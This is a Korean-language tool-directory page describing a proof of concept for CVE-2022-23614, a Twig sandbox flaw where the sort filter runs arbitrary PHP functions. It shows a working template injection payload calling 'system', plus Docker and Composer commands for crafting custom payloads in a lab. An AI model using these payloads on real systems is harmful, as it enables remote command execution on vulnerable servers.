Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-23614 — CVE-2022-23614 (Twig의 명령어 주입)에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/4rtamis/cve-2022-23614
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

CVE-2022-23614 (Twig의 명령어 주입)에 대한 개념 증명

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-23614

CVE-2022-23614에 대한 개념 증명(PoC)이며, DSA-5107-1에서 참조되었습니다.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

설명

Twig는 PHP를 위한 유연하고 빠르며 안전한 템플릿 엔진입니다. 특히, 템플릿을 렌더링하기 전에 템플릿에서 필터를 사용할 수 있습니다. sort 필터는 다음과 같은 구조로 배열의 요소를 정렬하는 데 사용할 수 있습니다.

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig는 신뢰할 수 없는 템플릿 코드를 평가하기 위한 샌드박스 모드를 제공합니다. 이 샌드박스 모드에서는 sort 필터의 arrow 매개변수가 클로저여야 공격자가 임의의 PHP 함수를 실행하는 것을 방지할 수 있습니다. 영향을 받는 버전에서는 이 제약이 제대로 적용되지 않아 임의의 PHP 코드 주입으로 이어질 수 있습니다.

root@kitploit:~
{{ ["id",""]|sort('system') }}

사용법

이 PoC는 두 가지 다른 사용 사례에서 취약점을 보여줍니다: Debian php-twig (v2.14.1) 패키지를 사용하거나 Composer twig/twig (v2.14) 모듈을 사용하는 경우입니다.

index.php 파일은 첫 번째 인수를 기반으로 Twig 템플릿을 생성합니다. 다음 코드에서 argv[1]은 Twig가 렌더링할 때 사용할 정렬 함수의 이름입니다.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

그런 다음 index.php는 Twig의 두 가지 더 이상 사용되지 않는 함수를 사용하여 생성된 템플릿을 로드합니다. 최종적으로 두 번째 인수(argv[2])를 사용하여 템플릿이 렌더링되는 동안 데이터를 전달하며, 특히 정렬하려는 args 배열을 전달합니다.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

렌더링된 템플릿은 표준 출력에 출력됩니다.

이 저장소는 데모 목적으로만 만들어졌음을 유의하세요. 명령줄 인터페이스만으로 CVE를 실험할 수 있도록 이해하기 쉽고 사용하기 쉬운 것을 목적으로 합니다. 실제 취약한 서버에서 볼 수 있는 것과는 상당히 다릅니다.

php-twig

Docker를 사용하여 원래의 Debian Security Advisory (DSA)의 컨텍스트를 재현할 수 있습니다. 제공된 build-docker.sh 스크립트를 사용하여 취약한 컨테이너를 제대로 빌드하고 실행할 수 있습니다.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

컨테이너는 페이로드(id 명령)가 실행되면 종료됩니다. 자신만의 명령을 시도하려면 대화형 모드로 컨테이너를 실행할 수 있습니다:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

컨테이너 내에서 다음 모델을 사용하여 자신만의 페이로드를 만들 수 있습니다:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

이 Dockerfile은 부분적으로 DECRET을 사용하여 만들어졌습니다.

Composer

컴퓨터에 php와 Composer가 이미 설치되어 있다면, 취약한 Composer 모듈을 사용하여 익스플로잇을 재현할 수 있습니다.

root@kitploit:~
cd exploit
composer install

그런 다음 페이로드를 가지고 놀기만 하면 됩니다.

root@kitploit:~
php index.php system '{"args":["id",""]}'

참조

CVE 세부 정보: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

패치 커밋: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

davwwwx의 PoC (GUI 사용): https://github.com/davwwwx/CVE-2022-23614

도구 다운로드